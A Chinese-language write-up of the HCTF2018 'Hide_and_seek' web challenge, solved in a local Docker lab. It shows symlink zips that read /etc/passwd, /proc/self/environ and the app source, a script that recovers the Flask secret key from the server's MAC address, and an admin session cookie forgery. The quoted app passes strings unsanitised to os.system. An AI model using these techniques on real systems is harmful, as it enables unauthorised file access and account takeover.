HCTF2018-Hide-and-seek


title: HCTF2018-Hide_and_seek
date: 2019-06-03 16:11:18
tags:
- HCTF2018
- CTF复现
- flask session伪造
categories:
- CTF
- HCTF2018


HCTF2018 Web题 Hide_and_seek 复现


前言

今天复现一下HCTF2018里的Hide_and_seek。先贴一下docker github地址
https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/Hideandseek
部署完之后,还有点小问题,需要解决下,首先是上传文件存放在./uploads文件夹下,这个镜像里没有,所以要自己在app目录下建一个uploads文件夹。然后是DockerFile需要改下,加上一行内容ENV UWSGI_INI /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini


审题

环境部署好后,点击题目去,如下图

image

随便点点,发现只有登录功能有用,没有注册功能,简单测试一下登录功能,发现随便输用户名和密码,都能以输入的用户名登录,除了admin之外。登录之后,来到一个上传页面。
image

上传页面说让上传zipfile,于是随便压缩一个1.txt文件,1.txt文件里内容为Miracle778 test。然后上传这个zip包,然后网页回显如下图,网站把上传的zip里的文件解压了,然后输出。
image

于是理所当然的就联想能不能用zip去读非本地文件呢? 答案是肯定的,我们可以压缩一个软链接,类似于windows下的快捷方式,然后网站后台会解压读取该软链接指向的服务器上的文件,就能达到读取任意文件的效果。例如我们使用ln -s /etc/passwd passwd命令生成一个指向/etc/passwd文件的软链接,然后用zip -y passwd.zip passwd命令压缩,然后上传,结果如下图,成功读取。

image

上面发现一个任意文件读取漏洞,我们可以与前面admin不能登录联系一下,猜测这里可能是要用软链接读取相关文件使得可以用admin身份登录或者是直接读flag文件。不过后者应该几率不大,因为如果能直接读flag文件的话,那前面设置admin不让登录就没有那个必要。所以,大概率是读取跟admin相关的文件,然后以admin身份登录出flag,那么跟admin相关的文件有什么呢,密码文件肯定不是的,因为这个登录就没用到密码,没用到数据库,那既然没用到数据库,程序怎么知道登录用户身份呢,只能是通过session或cookie。于是看一下页面cookie信息,session=eyJ1c2VybmFtZSI6Ik1pcmFjbGU3NzgifQ.D9ZqoQ.55S3MNA12PX-uvm9ELiK4O9Uie0,很像flask的session信息,于是用脚本解密一下,发现还真是flask的session,内容为{'username':'Miracle778'}

到这里思路就大致清晰了,我们要用到上传zipfile读取到SECRET_KEY,然后伪造admin的session进行登录。


做题

上面把思路理的差不多了,现在就是做题了。这里首先要解决的就是文件路径的问题,我们不知道服务器上有哪些文件,就无法生成软链接进行读取。所以这里还考了linux的一些知识 —— linux一些危险系统文件路径。

这里我也就不做分析了,我也是看wp来的,这里主要用到了linux的/proc目录,参考文章:https://www.cnblogs.com/DswCnblog/p/5780389.html

/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。

我们这里用到的是/proc/self/environ

environ是 — 当前进程的环境变量列表,self可以替换成进程号。

我们生成/proc/self/environ的软链接,压缩后上传,得到flask的环境变量,简单整理下放在下面。

HOSTNAME=7ba9b7bc961a
SHLVL=1
PYTHON_PIP_VERSION=19.1.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
WERKZEUG_SERVER_FD=3
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/
static_=/usr/local/bin/python
UWSGI_CHEAPER=2
WERKZEUG_RUN_MAIN=true
NGINX_VERSION=1.15.8-1~
stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.15.8.0.2.7-1~
stretchLANG=C.UTF-8
PYTHON_VERSION=3.6.8
NGINX_WORKER_PROCESSES=1
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app
PYTHONPATH=/app
STATIC_PATH=/app/static

扫一眼过去,能够发现一项UWSGI_INI,以INI结尾,应该是个配置文件,网上搜索一下,结果放在了下面。

uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议,

然后再看到这一项的值it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini,这样看来,这个文件必有问题,于是构造软链接,生成zip,上传读取。
得到/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini文件内容如下。

[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app
logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

简单搜一下,就能明白module、callable选项的含义。于是可知main.py源码路径为
/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

然后就是读取该文件源码,构造软链接、生成zip包,上传得文件内容

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

看到代码第29行,可以知道flag是藏在/app/flag.py文件里,想着是不是可以生成下软链接直接读取呢,后面测试,发现还是提示you are not admin然后重定向到index页面,原来是第79行处,执行了一个判断,如果通过上传的zip打开的文件里面有含有hctf的话,就会重定向到index?error=1页面,所以这条路是行不通的,对应了前面我的分析。
所以只能通过找SECRET_KEY这个方法了,我们看到第11行 app.config['SECRET_KEY'] = str(random.random()*100),SECRET_KEY居然等于一个随机数字字符串,这就有点懵了,难道每次SECRET_KEY能不一样,这也tm行吗。。后面发现,原来在这行代码之前第9行处,有一个random.seed(uuid.getnode()),设置随机数种子操作。我们知道,python random生成的数不是真正的随机数,而是伪随机数,利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一致的。
于是我们把注意力放到这里的伪随机数种子,uuid.getnode(),通过查询可以知道,这个函数可以获取网卡mac地址并转换成十进制数返回。也就是说,只要搞到服务器的网卡mac地址,就能确定种子,进而确定SECRET_KEY,那服务器网卡mac地址又怎么获得呢?
我们知道有一句话叫,linux中一切皆文件,没错,网卡mac地址也能在文件中找到。可以通过读/sys/class/net/eth0/address文件得到mac地址,于是构造软链接、生成zip、上传看返回结果,如下图,得到服务器mac地址为:02:42:ac:15:00:02。然后就是把mac地址处理下,转换成10进制,然后设置成seed,生成一下SECRET_KEY。脚本如下

import uuid
import random

mac = "02:42:ac:15:00:02"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr) #结果为 97.9970136622037

得到SECRET_KEY:97.9970136622037

然后调用我在上一篇文章中提到的flask_session_manager脚本,生成admin的session。

image

运行python flask_session_manager.py ncode -s '97.9970136622037' -t "{'username':'admin'}"
得到eyJ1c2VybmFtZSI6ImFkbWluIn0.XPTz5A.F7MvChr04yrat31KWqstSRC_dZs

用新生成的session,替换掉之前的,即可得到flag。


image

总结

通过这个题目了解了linux下面一些系统文件的含义。一切皆文件


参考

https://www.kingkk.com/2018/11/hctf2018-web-writeup/#%E4%B8%80%E5%88%87%E7%9A%86%E6%96%87%E4%BB%B6
http://momomoxiaoxi.com/ctf/2018/11/12/HCTF2018/

推荐阅读更多精彩内容